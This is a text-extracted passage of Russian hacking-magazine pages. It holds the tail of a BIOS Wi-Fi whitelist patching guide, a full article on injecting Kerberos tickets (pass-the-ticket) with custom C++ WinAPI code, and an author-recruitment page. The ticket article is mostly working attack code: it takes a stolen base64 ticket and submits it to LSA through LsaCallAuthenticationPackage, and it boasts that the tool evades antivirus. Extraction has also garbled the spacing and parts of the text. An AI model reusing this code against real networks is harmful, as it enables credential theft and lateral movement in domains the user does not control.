Ес ли вдруг со счи тыва нием воз никли проб лемы, надо пошеве лить при щеп ку:
ско рее все го, виноват пло хой кон такт.

Итак, дамп у нас есть, теперь запус каем UEFITool и откры ваем дамп в этом
при ложе нии.

uefitool down_g710-1.bin 

Ок но UEFITool с откры тым дам пом

Вы зыва ем окно поис ка и ищем нашу любимую стро ку Unauthorized Wireless
network card is plugged in.

Ок но поис ка

Ви дим, что стро ка наш лась, жмем на резуль тат, откры вает ся нуж ная нам сек- 
ция.

Ре зуль тат поис ка

Нуж ная нам сек ция

Для най ден ной сек ции в кон текс тном меню выбира ем «Extract body…» и сох- 
раня ем файл.

Те перь нам понадо бит ся hex-редак тор. Я, не мудрствуя лукаво, вос поль- 
зовал ся встро енным в . Откры ваем для прос мотра сох ранен ный файл
и перек люча емся в режим HEX. Мож но вос поль зовать ся поис ком, одна ко
это не обя затель но: файл неболь шой, нуж ный учас ток рас полага ется в самом
его кон це и лег ко находит ся «гла зами».

mc

Ис комый фраг мент фай ла

Пе рек люча емся в режим редак тора, изме няем зна чения ука зан ных бай тов
с  на  и сох раня ем резуль тат.01 00

От редак тирован ный фраг мент

Те перь воз вра щаем ся в UEFITool и с помощью кон текс тно го меню заменя ем
экс тра гиро ван ную ранее сек цию (пункт в меню «Replace body...») отре дак- 
тирован ной нами.

За мена сек ции в UEFITool

Ста рая сек ция помеча ется на уда ление, новая на замену, а весь фраг мент —
на перес борку. Что бы изме нения всту пили в силу, оста лось сох ранить про- 
пат ченный дамп. Все, дело сде лано, нуж но толь ко залить обновлен ный образ
обратно на флеш ку. Для это го сно ва под клю чаем прог рамма тор и вызыва ем
ashrom.

sudo flashrom --programmer ch341a_spi -w down_g710_no_white_list.bin 

Те перь ноут мож но собирать и вклю чать, новая кар та Wi-Fi опре дели лась
и завелась сра зу. Самое смеш ное, что мне не пот ребова лось даже менять
имя кар ты в юни те : к моему удив лению, оно оста лось преж- 
ним. Так что даже сеть под нялась с ходу. При ятным бонусом к апгрей ду ста ло
сок ращение вре мени, тре бующе гося на пер вичную ини циали зацию ноут бука,
что дало уско рение заг рузки на три-четыре секун ды. На этом аппа рате
это поч ти двук ратное уве личе ние ско рос ти, он теперь вклю чает ся быс трее
чем за пять секунд — недур но для девяти лет него ноута.

wpa_supplicant

Да, там сто ит SSD и исполь зует ся . Есть все осно вания полагать,
что ноут пос лужит верой и прав дой еще нес коль ко лет. © X

EFISTUB

mailto:duospirit@gmail.com
https://aur.archlinux.org/
https://habr.com/ru/post/219893/
https://github.com/LongSoft/UEFITool
https://habr.com/ru/post/211879/
https://habr.com/ru/post/211574/
https://medium.com/@p0358/removing-wlan-wwan-bios-whitelist-on-a-lenovo-laptop-to-use-a-custom-wi-fi-card-f6033a5a5e5a
https://hex-rays.com/ida-free/
https://www.flashrom.org/Flashrom
https://wiki.archlinux.org/title/EFISTUB
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КОДИНГ

Для реали зации целого ряда атак типа pass
the ticket необ ходимо внед рить в ском про- 
мети рован ную сис тему билет Kerberos.
Обыч но для это го исполь зуют ся инс тру- 
мен ты вро де Mimikatz, Impacket или Rubeus,
но они отлично палят ся анти виру сами, что
дела ет такой под ход неэф фектив ным.
В этой статье я под робно рас смот рю
методы решения этой задачи без вспо- 
мога тель ных инс тру мен тов, с исполь- 
зовани ем толь ко WinAPI .и магии

В  я рас ска зал об Authentication Package, Security
Package и мы успешно перех ватили пароль поль зовате ля. Но это го мало,
не так ли? Сле дующим шагом будет внед рение билетов Kerberos для реали- 
зации ата ки pass the ticket. Само собой, никако го Mimikatz и Impacket мы
исполь зовать не будем. Абсо лют но все будет сде лано сво ими силами (ну и с
исполь зовани ем стан дар тно го Win32 API).

пре дыду щей моей статье

ÏÎËÓ×ÅÍÈÅ ÒÈÊÅÒÀ

Ти кет переда ется ата кующе му, нап ример при дам пе, в фор мате Base64 —
в «сыром» виде тикет может иметь непеча таемые сим волы, что при ведет
к выводу на экран непонят но чего. В свя зи с этим, что бы наш код мог
инжектить рабочие тикеты, сле дует пре дус мотреть в нем воз можность
декоди ровать получен ную стро ку. Пред лагаю соз дать файл ,
в котором реали зуем прос тень кую фун кцию для декоди рова ния зна чения
Base64. Допол нитель но помес тим туда все заголо воч ные фай лы, которые
пот ребу ются нам в будущем.

stuff.h

#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#pragma comment (lib, "Secur32.lib")

            static char encoding_table[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G',
'H',

                                      'I', 'J', 'K', 'L', 'M', 'N', 'O',
'P',

                                      'Q', 'R', 'S', 'T', 'U', 'V', 'W',
'X',

                                      'Y', 'Z', 'a', 'b', 'c', 'd', 'e',
'f',

                                      'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n',

                                      'o', 'p', 'q', 'r', 's', 't', 'u',
'v',

                                      'w', 'x', 'y', 'z', '0', '1', '2',
'3',

       
 
                               '4', '5', '6', '7', '8', '9', '+', '/
' };

    static char* decoding_table = NULL;
        static int mod_table[] = { 0, 2, 1 };

 void build_decoding_table();
       
 

unsigned char* base64_decode(const char* data, size_t input_length,
size_t* output_length);

  void build_decoding_table() {

     decoding_table = (char*)malloc(256);
       if (decoding_table == NULL) {
       exit(-1);
   }
            for (int i = 0; i < 64; i++) {

          decoding_table[(unsigned char)encoding_table[i]] = i;
   }
}

       
  

unsigned char* base64_decode(const char* data, size_t input_length,
size_t* output_length) {

       if (decoding_table == NULL) build_decoding_table();

          if (input_length % 4 != 0) return NULL;

         *output_length = input_length / 4 * 3;
         if (data[input_length - 1] == '=') {
       (*output_length)--;
   }
         if (data[input_length - 2] == '=') (*output_length)--;

        unsigned char* decoded_data = (unsigned char*)malloc(*
output_length);
        if (decoded_data == NULL) return NULL;

              for (int i = 0, j = 0; i < input_length;) {

                  DWORD sextet_a = data[i] == '=' ? 0 & i++ : decoding_table[
data[i++]];

                  DWORD sextet_b = data[i] == '=' ? 0 & i++ : decoding_table[
data[i++]];

                  DWORD sextet_c = data[i] == '=' ? 0 & i++ : decoding_table[
data[i++]];

                  DWORD sextet_d = data[i] == '=' ? 0 & i++ : decoding_table[
data[i++]];

              DWORD triple = (sextet_a << 3 * 6)
                + (sextet_b << 2 * 6)
                + (sextet_c << 1 * 6)
                + (sextet_d << 0 * 6);

           
 
       if (j < *output_length) decoded_data[j++] = (triple >> 2 * 8)
& 0xFF;

           
 
       if (j < *output_length) decoded_data[j++] = (triple >> 1 * 8)
& 0xFF;

           
 
       if (j < *output_length) decoded_data[j++] = (triple >> 0 * 8)
& 0xFF;
   }

    return decoded_data;
}

Ти кет нашей прог рамме мы будем переда вать через аргу мен ты коман дной
стро ки. Соз дадим файл  с таким содер жимым:Source.cpp

#include "stuff.h"

  void usage() {
       std::cout << "ptt.exe <b64 ticket>" << std::endl;
}

     int main(int argc, char** argv) {
       if (argc != 2) {
       usage();

        return 1;
   }

       unsigned int kirbiSize = 0;
      char* ticket = argv[1];
        
 

unsigned char* kirbiTicket = base64_decode(ticket, strlen(ticket)
, &kirbiSize);
       if (kirbiSize == 0) {

           std::wcout << L"[-] Error converting from b64" << std::endl;
        return 1;

   }

   ...

В этом фай ле мы получа ем вто рой аргу мент, содер жащий закоди рован ный
в Base64 тикет. Пер вый — это имя прог раммы: нап ример, в слу чае вызова

 в  будет , а в  — . Пос ле чего
вызыва ем фун кцию для декоди рова ния, про веря ем, что раз мер изме нил ся.
Ведь если изме нил ся раз мер, зна чит, что-то (может, даже и успешно)
декоди рова лось.

prog.exe 123 argv[0] prog.exe argv[1] 123

ÏÎÄÊËÞ×ÅÍÈÅ Ê LSA

Имен но про цесс служ бы LSA будет хра нить в сво ем адресном прос транс тве
все тикеты. Внут ри про цес са  под гру жена , которая
и реали зует все фун кции одно имен ного про токо ла. Так или ина че, сле дует
отли чать TGT от TGS, да и в прин ципе понимать работу «Кер бероса». Вот
виде оро лики, которые поз волят нович кам разоб рать ся в теме:

lsass.exe kerberos.dll

;
• Кер берос. Исполь зование аутен тифика цион ных про токо лов Windows

в тес тирова нии на про ник новение
.• Шко ла информа цион ной безопас ности Яндекса. Windows & AD

Под клю чить ся к LSA нес ложно, для это го есть две спе циаль ные фун кции.

 NTSTATUS LsaRegisterLogonProcess(
   [in] PLSA_STRING           LogonProcessName,
  [out] PHANDLE               LsaHandle,
   [out] PLSA_OPERATIONAL_MODE SecurityMode
);

 NTSTATUS LsaConnectUntrusted(
   [out] PHANDLE LsaHandle
);

Пер вая поз воля ет получить хендл на LSA от лица про цес са вхо да в сис тему.
Эту фун кцию, нап ример, вызыва ет  во вре мя вхо да поль зовате- 
ля в сис тему. С помощью получен ного таким обра зом хен дла появит ся воз- 
можность исполь зовать LSA для аутен тифика ции, управле ния поль зователь- 
ским вхо дом и дос тупом.

winlogon.exe

Вто рая фун кция дос таточ но незамыс ловата — прос то под клю чение к LSA
от лица «недове рен ного» про цес са. Само собой, в этом слу чае нель зя будет
исполь зовать LSA для аутен тифика ции, но воз можность прос того вза имо дей- 
ствия с под гру жен ными пакета ми аутен тифика ции оста нет ся. Для нас пред- 
почти тель нее имен но этот вари ант.

   HANDLE lsa_handle = NULL;
   NTSTATUS status = LsaConnectUntrusted(&lsa_handle);

    if (!NT_SUCCESS(status) || !lsa_handle) {
       

  
std::wcout << L"[-] Error connecting to lsa: " <<

LsaNtStatusToWinError(status) << std::endl;
    return 1;
}

Здесь мы получа ем хендл на LSA, а затем про веря ем с помощью ранее соз- 
данно го мак роса  (лежит в ), что фун кция успешно сра- 
бота ла.

NT_SUCCESS() stuff.h

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

Ес ли что-то пош ло не так, дер гаем . Эта фун кция
поз воля ет кон верти ровать непонят ный код, с которым завер шилась фун кция,
в челове чес кий код ошиб ки. Что бы узнать, в чем дело, ско пируй получен ное
зна чение и срав ни его с ошиб ками в .

LsaNtStatusToWinError()

до кумен тации Microsoft

ÎÁÍÀÐÓÆÅÍÈÅ AP

У LSA каж дый Authentication Package иден тифици рует ся спе циаль ным
номером, эда ким «айдиш ником», бла года ря которо му сис тема понима ет,
с чем тре бует ся вза имо дей ство вать для реали зации фун кций безопас ности.
Это чис ловое зна чение абсо лют но ран домно, оно прис ваивает ся самой LSA,
где и хра нит ся до перезаг рузки сис темы. Для получе ния это го номера
исполь зует ся фун кция .LsaLookupAuthenticationPackage()

 NTSTATUS LsaLookupAuthenticationPackage(
   [in] HANDLE      LsaHandle,
    [in] PLSA_STRING PackageName,
  [out] PULONG      AuthenticationPackage
);

Пер вым парамет ром мы переда ем хендл LSA, получен ный вызовом 
, а даль ше начина ются проб лемы. Фун кция про сит

передать ей струк туру , которая выг лядит вот так:

LsaCon-
nectUntrusted()

LSA_STRING

   typedef struct _LSA_STRING {
  USHORT Length;
  USHORT MaximumLength;
   PCHAR Buffer;
  } LSA_STRING, *PLSA_STRING;

У меня далеко не с пер вого раза получи лось кор рек тно ини циали зиро вать ее.
Поэто му, что бы не мучить ся в будущем, реали зовал неболь шую фун кцию,
при нима ющую имя пакета аутен тифика ции и воз вра щающую запол ненную
струк туру:

   LSA_STRING* create_lsa_string(const char* value)
{
       char* buf = new char[100];
      LSA_STRING* str = (LSA_STRING*)buf;
     str->Length = strlen(value);
     str->MaximumLength = str->Length;
       str->Buffer = buf + sizeof(LSA_STRING);
     memcpy(str->Buffer, value, str->Length);
    return str;
}

// Вызов
   PLSA_STRING lsaString = create_lsa_string("kerberos");

      ULONG authenticationpackage = 0;
       status = LsaLookupAuthenticationPackage(lsa_handle, lsaString, &
authenticationpackage);
       if (authenticationpackage == 0) {

    
  

       std::wcout << L"[-] Error LsaLookupAP: " <<
LsaNtStatusToWinError(status) << std::endl;

        return 1;
   }
         std::wcout << L"[?] Package id " << authenticationpackage << std:
:endl;

Ес ли вызов был успе шен, то LSA вер нет нам этот самый «айдиш ник» AP Ker-
beros, с помощью которо го мы смо жем вза имо дей ство вать через LSA с 

.
Ker-

beros.dll

ÂÍÅÄÐÅÍÈÅ ÁÈËÅÒÀ

Ос талось лишь отдать билет Kerberos в соот ветс тву ющий AP для его ини- 
циали зации. Для вза имо дей ствия с кон крет ным AP LSA пре дос тавля ет фун- 
кцию , которую мы и будем исполь зовать
для внед рения билета:

LsaCallAuthenticationPackage()

 NTSTATUS LsaCallAuthenticationPackage(
       [in] HANDLE LsaHandle,
        [in] ULONG AuthenticationPackage,
        [in] PVOID ProtocolSubmitBuffer,
        [in] ULONG SubmitBufferLength,
       [out] PVOID *ProtocolReturnBuffer,
      [out] PULONG ReturnBufferLength,
   [out] PNTSTATUS ProtocolStatus
);

Пер вым парамет ром ука зыва ется тот же хендл на LSA, что и в пре дыду щих
фун кци ях, вто рым — «айдиш ник» пакета аутен тифика ции. Далее в 

 и  сле дует передать информа цию,
которую мы хотим сооб щить пакету аутен тифика ции (в нашем слу чае это TGT-
билет). В ,  сам AP может
помес тить дан ные, которые хочет вер нуть прог рамме. Наконец, пос ледним
парамет ром воз вра щает ся иден тифика тор ошиб ки.

Protocol-
SubmitBuffer SubmitBufferLength

ProtocolReturnBuffer ReturnBufferLength

Прос то взять и засунуть билет в вызов этой фун кции не получит ся.
На текущем эта пе наш билет находит ся в перемен ной . Сна чала
сле дует сге нери ровать струк туру :

kirbiTicket
KERB_SUBMIT_TKT_REQUEST

   typedef struct _KERB_SUBMIT_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID LogonId;
    ULONG Flags;
    KERB_CRYPTO_KEY32 Key;
    ULONG KerbCredSize;
    ULONG KerbCredOffset;
  } KERB_SUBMIT_TKT_REQUEST, *PKERB_SUBMIT_TKT_REQUEST

Здесь исполь зуют ся сле дующие парамет ры:
 — опре деля ет типы сооб щений, которые мы можем передать

в AP Kerberos. Для инжекта тикета мы будем переда вать 
. Это озна чает про цеду ру получе ния тикета от KDC

и обновле ние кеша билетов;

• MessageType
KerbSubmit�

TicketMessage

 — уни каль ный иден тифика тор текущей сес сии, поз воля ющий AP
иден тифици ровать, к какой сес сии при менять тикет (если не ука зано, то
AP Kerberos опре делит LUID самос тоятель но);

• LogonId

 — допол нитель ные фла ги;• Flags

 — струк тура, содер жащая информа цию о сес сион ном клю че
для тикета Kerberos;

• Key

,  — в слу чае инжекта тикета в пер вый
параметр переда ем раз мер тикета, а во вто рой — сдвиг. Сдвиг опре деля- 
ет раз мер этой струк туры. Так как мы будем переда вать в AP тикет и эту
струк туру, то AP дол жен знать, начиная с какого сме щения лежит тикет.

• KerbCredSize KerbCredOffset

Кор рек тная переда ча билета в AP Kerberos выг лядит вот так:

    NTSTATUS packageStatus;
     DWORD submitSize, responseSize;
    PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
    PVOID dumPtr;

       submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + kirbiSize;
       if (pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LPTR,
submitSize))
   {

         pKerbSubmit->MessageType = KerbSubmitTicketMessage;
         pKerbSubmit->KerbCredSize = kirbiSize;
         pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST)

;
  

  
       RtlCopyMemory((PBYTE)pKerbSubmit + pKerbSubmit->
KerbCredOffset, kirbiTicket, pKerbSubmit->KerbCredSize);

   
    

 

       status = LsaCallAuthenticationPackage(lsa_handle,
authenticationpackage, pKerbSubmit, submitSize, &dumPtr, &
responseSize, &packageStatus);

        if (NT_SUCCESS(status))
       {

            if (NT_SUCCESS(packageStatus))
           {

                   std::wcout << L"[+] Injected\n" << std::endl;
                 status = 0x0;

           }
                else if (LsaNtStatusToWinError(packageStatus) == 1398) {

  
  

               std::wcout << L"[!!!!] ERROR_TIME_SKEW between KDC 
and host computer" << std::endl;
           }

   
    

           else std::wcout << L"[-] KerbSubmitTicketMessage / 
Package :" << LsaNtStatusToWinError(packageStatus) << "\n";
       }

     
  

       else std::wcout << L"[-] KerbSubmitTicketMessage :" <<
LsaNtStatusToWinError(status) << "\n";
   }
   LsaDeregisterLogonProcess(lsa_handle);

    return 0;
}

Сна чала мы рас счи тыва ем раз мер всех дан ных, которые будут переда ны в AP.
Этот раз мер равен раз меру струк туры  (что бы AP
понял, что нам от него надо) плюс раз мер тикета. Далее под эту струк туру
выделя ется память, пос ле чего ини циали зиру ются ее эле мен ты.

KERB_SUBMIT_TGT_REQUEST

В  мы помеща ем раз мер струк туры, что бы
«Кер берос» знал, что по адре су  + 

 будет лежать тикет раз мером  ( ).
Копиру ем по рас счи тан ному адре су тикет, пос ле чего вызыва ем AP с переда- 
чей ини циали зиро ван ной струк туры. Затем про веря ем код ошиб ки дваж ды.
Пер вый код ошиб ки ( ) — воз можная проб лема при вызове самой фун- 
кции, нап ример если  невалид ный. А вто рой код
( ) — код ошиб ки непос редс твен но самого AP, нап ример если
мы переда дим неп равиль ный раз мер.

pKerbSubmit->KerbCredOffset
pKerbSubmit pKerbSubmit->KerbCredOff-

set pKerbSubmit->KerbCredSize KirbiSize

status
lsa_handle

packageStatus

При чем я вынес в отдель ный блок про вер ку на ошиб ку ,
которая появ ляет ся из-за рас хожде ния (более пяти минут) во вре мени меж ду
хос том и KDC. Если подоб ная раз ница при сутс тву ет, то TGT-билет не может
быть обновлен из-за того, что невоз можно кор рек тно прой ти этап пре даутен- 
тифика ции. Да, тикет получит ся исполь зовать, но лишь до тех пор, пока он
не про тух нет. По умол чанию вре мя жиз ни TGT-билета — десять часов.

ERROR_TIME_SKEW

Пос ле это го тикет будет успешно внед рен в про цесс  и мы смо- 
жем его исполь зовать. Фун кци ей  мы прос то
осво бож даем хендл на LSA.

lsass.exe
LsaDeregisterLogonProcess()

ÏÐÎÂÅÐÊÀ

Ос тает ся лишь про верить работос пособ ность кода. Пол ный код про екта
пред став лен . Сна чала мы получим валид ный TGT-билет любым
удоб ным спо собом. Нап ример, с помощью Rubeus:

на GitHub

.\Rubeus.exe tgtdeleg /nowrap 

По луче ние тикета

Пе ремес тимся на дру гую сис тему и про ведем инжект:

.\project.exe <b64 ticket> 

ÂÛÂÎÄÛ

Мно жес тво атак мож но реали зовать без исполь зования популяр ных и обще- 
извес тных инс тру мен тов. У такого под хода есть как минимум одно пре иму- 
щес тво: из-за уни каль нос ти кода, исполь зования легитим ных API и отсутс твия
в сиг натур ных базах появ ляет ся воз можность обой ти анти вирус ное ПО в два
сче та. Я заг рузил свой про ект на VirusTotal, не сде лав абсо лют но никакой
обфуска ции и защиты. Вот как есть, так и закинул, со все ми подоз ритель ными
стро ками, нап ример , и получил все го .[+] Injected три детек та

Как ты понима ешь, если мы заль ем туда Mimikatz, Rubeus или дру гой подоб- 
ный инс тру мент, который уме ет выпол нять внед рение билетов, то детек тов
будет на порядок боль ше. © X
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«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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